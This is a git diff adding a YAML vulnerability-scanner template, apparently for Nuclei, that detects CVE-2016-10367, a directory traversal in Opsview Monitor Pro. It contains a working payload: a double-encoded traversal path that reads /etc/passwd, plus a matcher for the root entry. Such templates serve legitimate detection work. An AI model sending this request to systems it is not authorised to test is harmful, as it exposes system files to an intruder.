diff --git a/CVE-2016-10367.yaml b/CVE-2016-10367.yaml new file mode 100644 index 0000000000..884405fdea --- /dev/null +++ b/CVE-2016-10367.yaml @@ -0,0 +1,32 @@ +id: CVE-2016-10367 + +info: + name: Opsview Monitor Pro - Unauthenticated Directory Traversal + author: 0x_akoko + severity: high + description: The unauthenticated Directory Traversal vulnerability can be exploited by issuing a specially crafted HTTP GET request utilizing a simple bypass + reference: + - https://www.cvedetails.com/cve/CVE-2016-10367 + - https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18774 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2016-10367 + cwe-id: CWE-22 + tags: cve,cve2016,opsview,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/monitoring/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 404